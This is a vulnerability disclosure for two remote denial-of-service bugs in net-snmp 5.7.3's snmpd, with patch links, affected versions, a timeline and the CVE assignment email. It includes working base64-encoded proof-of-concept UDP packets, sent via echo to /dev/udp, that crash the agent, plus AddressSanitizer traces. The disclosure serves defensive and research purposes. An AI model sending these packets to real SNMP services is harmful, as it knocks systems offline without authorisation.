_ _ / | ___ ___| |_ ___ ___ ___ _____ ___ _ / / | | -_| _|___|_ -| | | . | |_|_/ |_|_|___|_| |___|_|_|_|_|_| _| |_| 2018-10-08 Update: "vuln1" was assigned CVE-2015-5621 (see references), therefore CVE-2018-18066 has been marked as duplicate. NET-SNMP REMOTE DOS =================== Back in january I did some vulnerability research of net-snmp 5.7.3 and found some bugs. Here they are: VULN#1 CVE-2015-5621 (wrongly assigned as CVE-2018-18066) ========================================================= First bug is remotely exploitable without knowledge of the community string, and leads to Denial of Service: # echo -n "MIG1AgEDMBECBACeXRsCAwD/4wQBBQIBAwQvMC0EDYAAH4iAWdxIYUWiYyICAQgCAgq5BAVwaXBwbwQMBVsKohj9MlusDerWBAAwbAQFgAAAAAYEAKFZAgQsGA29AgEAAgEAMEswDQEEAWFFg2MiBAChWQIELBgNvQIBAAIBADBLMA0GCSsGAQIBAgI1LjI1NS4wMCEGEisGNS4yNTUuMAEEAYF9CDMKAgEHCobetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111 # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln 127.0.0.1:1111 ASAN:SIGSEGV ================================================================= ==41810==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000007f261b bp 0x7fff34754550 sp 0x7fff34754220 T0) #0 0x7f261a in snmp_oid_compare /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:6470:13 #1 0x7f261a in _snmp_parse /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:4247 #2 0x7f261a in snmp_parse /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:4336 #3 0x7f261a in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5241 #4 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14 #5 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10 #6 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502 #7 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15 #8 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118 #9 0x7f2561efeb44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287 #10 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:6470 snmp_oid_compare ==41810==ABORTING Same configuration for both bugs: magnus@h4xb0x:~/projects/net-snmp$ cat snmpd.conf rocommunity public default -V systemonly rocommunity public localhost -V systemonly rouser authOnlyUser syslocation "On the Desk" syscontact Me VULN#2 CVE-2018-18065 ===================== Second bug is also remotely exploitable but only with knowledge of the community string (in this case "public") leading to Denial of Service: # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111 # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln 127.0.0.1:1111 ASAN:SIGSEGV ================================================================= ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0) #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9 #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614 #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749 #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12 #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9 #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14 #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22 #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18 #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14 #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10 #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7 #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14 #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10 #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502 #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15 #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118 #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287 #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key ==41062==ABORTING PATCHES ======= Update to net-snmp-5.8 or apply the following patches: Vuln#1: https://sourceforge.net/p/net-snmp/code/ci/f23bcd3ac6ddee5d0a48f9703007ccc738914791/ Vuln#2: https://sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d/ AFFECTED ======== - 5.7.3 - 5.6.2.1 - 5.5.2.1 More versions may be affected as well. TIMELINE ======== 2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure 2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure 2018-01-05 I discovered both bugs 2018-01-08 Vendor notified 2018-01-08 Vendor responds - bugs already fixed in version control repo 2018-10-08 Public disclosure of exploit 2018-10-08 CVE-ID assignment 2018-10-09 CVE-2018-18066 marked as duplicate of CVE-2015-5621 PROOF OF DISCOVERY ================== # cat vuln1 | base64 MIG1AgEDMBECBACeXRsCAwD/4wQBBQIBAwQvMC0EDYAAH4iAWdxIYUWiYyICAQgCAgq5BAVwaXBw bwQMBVsKohj9MlusDerWBAAwbAQFgAAAAAYEAKFZAgQsGA29AgEAAgEAMEswDQEEAWFFg2MiBACh WQIELBgNvQIBAAIBADBLMA0GCSsGAQIBAgI1LjI1NS4wMCEGEisGNS4yNTUuMAEEAYF9CDMKAgEH CobetzgECzE3Mi4zMS4xOS4y # sha256sum vuln1 b2ff63c97c705c25c0043758cbd7b1e00cb5692ba1223712a17461082a047125 vuln1 https://twitter.com/magnusstubman/status/949520650762358789 # cat vuln2 | base64 MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y # sha256sum vuln2 b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2 vuln2 https://twitter.com/magnusstubman/status/949520565064404994 REFERENCES ========== - https://sourceforge.net/p/net-snmp/bugs/2820/ - https://sourceforge.net/p/net-snmp/bugs/2819/ - https://www.openwall.com/lists/oss-security/2018/10/08/4 - https://www.openwall.com/lists/oss-security/2018/10/09/1 - https://www.openwall.com/lists/oss-security/2015/07/31/1 CVE ASSIGNMENTS =============== -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 > [Suggested description] > _set_key in agent/helpers/table_container.c in > Net-SNMP before 5.8 > has a NULL Pointer Exception bug that can be used by an > authenticated attacker to remotely cause the instance to crash via a crafted UDP packet, > resulting in Denial of Service. > > ------------------------------------------ > > [Additional Information] > Proof of concept exploit are publicly available at https://dumpco.re/blog/net-snmp-5.7.3-remote-dos > > ------------------------------------------ > > [VulnerabilityType Other] > Remote Denial of Service (Null Pointer Exception) > > ------------------------------------------ > > [Vendor of Product] > net-snmp > > ------------------------------------------ > > [Affected Product Code Base] > net-snmp - vulnerable: 5.7.3, 5.5.2.1, 5.6.2.1. Fixed in: 5.8 > > ------------------------------------------ > > [Affected Component] > snmpd > > ------------------------------------------ > > [Attack Type] > Remote > > ------------------------------------------ > > [Impact Denial of Service] > true > > ------------------------------------------ > > [Attack Vectors] > A crafted UDP packet must be sent to the target. > > ------------------------------------------ > > [Reference] > https://dumpco.re/blog/net-snmp-5.7.3-remote-dos > https://sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d/ > > ------------------------------------------ > > [Has vendor confirmed or acknowledged the vulnerability?] > true Use CVE-2018-18065. > [Suggested description] > snmp_oid_compare in snmplib/snmp_api.c in > Net-SNMP before 5.8 > has a NULL Pointer Exception bug that can be used by an > unauthenticated attacker to remotely cause the instance to crash via a crafted UDP packet, > resulting in Denial of Service. > > ------------------------------------------ > > [Additional Information] > Proof of concept exploit are publicly available at https://dumpco.re/blog/net-snmp-5.7.3-remote-dos > > ------------------------------------------ > > [VulnerabilityType Other] > Remote Denial of Service (NULL Pointer Exception) > > ------------------------------------------ > > [Vendor of Product] > net-snmp > > ------------------------------------------ > > [Affected Product Code Base] > net-snmp - vulnerable: 5.7.3, 5.5.2.1, 5.6.2.1. Fixed in: 5.8 > > ------------------------------------------ > > [Affected Component] > snmpd > > ------------------------------------------ > > [Attack Type] > Remote > > ------------------------------------------ > > [Impact Denial of Service] > true > > ------------------------------------------ > > [Attack Vectors] > A crafted UDP packet must be sent to the target. > > ------------------------------------------ > > [Reference] > https://dumpco.re/blog/net-snmp-5.7.3-remote-dos > https://sourceforge.net/p/net-snmp/code/ci/f23bcd3ac6ddee5d0a48f9703007ccc738914791/ > https://sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d/ > > ------------------------------------------ > > [Has vendor confirmed or acknowledged the vulnerability?] > true Use CVE-2018-18066. - -- CVE Assignment Team M/S M300, 202 Burlington Road, Bedford, MA 01730 USA [ A PGP key is available for encrypted communications at http://cve.mitre.org/cve/request_id.html ] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCAAGBQJbu5sQAAoJEA2h+fVryJLo8M0P/0PHKRFRLetcB4kLwkzX3Rbo Hr2FVj83nQEFpbU+R94bhneu1ee54zGTBFnQj6FRqEFgrK4xWE8EwNdrshQSbcRZ bjPXA/SneIqZlg//Btpa/4HljWgLlwKYoQQD3MzzmuO72yfkfRESOhXpKZLcUP8b YDATpZERG8oY4TA7zDNj2d3L98U18CcBhNrlBPmEtUnrJcCjsklZM6Cbw0x1DHa1 vBoB2HSJH94Cnl4603vJhrUn7ZAxkuAManul0pTVLhPSryBc4uNptUkWEU2aU9xp 1wvwpsy7syWhlTgJhwH2Gt8EEQxDHFer4AhatkYdjX8hw+SAYoFBDIEQxqPYgu+2 NamzJl6l8NXruw9YzkJhpWpYFusBEikOVHeJoUYGoSZISACduLTmVCne2Axb2Vkg USjP4jyYi7ZFMVd4uNkEnIUzjJmpKXBGkPqb9VktEAMaLLBgHPJI4ZFuyEYxzU0M VLKu7ZEu66QvS5vLFEPQcQQPbFrwYMlS4QyCc4KrwyojSWkObX5j9mrLBsb42OQU B+ilV27e+wJu1kA9hMLHfTT1/AV48JyyVDk5T7SGiVr3sho7HodWFW+Mc5UCgz38 e/ERoBUpod82bmFuQQSdbrDXVfKloyV9h909YJJkL7w37CABHoeySB/ejcDh9ZCJ 5R0qeB5HVvtNE8xM5Oej =WaAB -----END PGP SIGNATURE-----